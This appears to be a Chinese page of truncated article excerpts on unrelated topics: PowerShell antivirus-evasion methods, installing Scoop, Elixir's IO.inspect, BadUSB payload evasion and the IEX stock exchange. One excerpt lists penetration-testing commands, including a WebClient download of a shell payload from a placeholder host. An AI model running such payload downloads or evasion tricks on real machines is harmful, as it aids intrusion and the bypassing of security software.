powershell语言特性（免杀方法） 参考文章：https://www.cnblogs.com/linuxsec/articles/7384582.html 本文章主要对上述文章的绕过方法进行实验验证，并对一些知识做出些许说明。 一些前置知识 想要完全理解下面的绕过方法，您可能还需了解其他知识点，下面列出的知识，只是是我在学习过程中
第一条指令 set-executionpolicy remotesigned -scope currentuser 第二条指令 iex (new-object net.webclient).downloadstring('https://get.scoop.sh') 安装完成如下 验证 scoop
1.PowerShell安装scoop到D盘 //指定系统盘 $env:SCOOP='D:\Scoop' [environment]::setEnvironmentVariable('SCOOP',$env:SCOOP,'User') 2.安装 // 安装命令 iex (new-object net.webclient).downloadstring('https://get.scoop.sh') 问题1： 原因是：
powershell渗透常用命令 set-ExecutionPolicy RemoteSigned //开启执行策略 set-ExecutionPolicy Restricted //关闭执行策略 远程下载文件 powershell $h=new-object System.Net.WebClient $h.DownloadFile('http://xx.com/payload/shell/h.sh','C:\Users\xx\Desktop\test\h
IO.inspect/2可以把调试信息直接打印到控制台上，简单易用，是不可或缺的调试好帮手。 基本使用 它可以打印任何的数据类型，并且可以定制protocol来打印自定义的数据。 对比IO.puts，它能直接打印的数据类型就少得多了，比如：基本的数据类型，原子，字符串，IOData。IO.puts返回值为ok。 所以IO.
近源渗透测试badusb执行代码的免杀 在进行近源渗透测试的时候，我们发现国内杀软对powershell的管制非常的严格，只要有后台隐藏执行的powershell都会触发可疑行为警报，但是这不代表不能绕过。 生成powershell payload 如图生成payload，我们使用powershell的payload，就不用勾选64位了 p
scoop是可用于windows的一款包管理工具，今天试着安装了一下，在这里记录一些遇到的问题和解决方法。 安装流程 先进入powershell，windows徽标键输入powershell或者cmd输入powershell均可 然后先输入以下代码，以保证后面的脚本有运行权限 set-executionpolicy remotesigned -scope curre
IEX-带着Interactive Brokers盈透挂牌上市的IEX交易所，始终失败了 今天KlipC要讲的是IEX(Investors Exchange)说起它一定要提到“高频交易”这个名词，它俩到底有什么关联？ Brad Katsuyama曾经是一个低调的华尔街交易员，整日穿着羊毛背心在曼哈顿的摩天大楼之间穿梭。但五年前，他作为一个
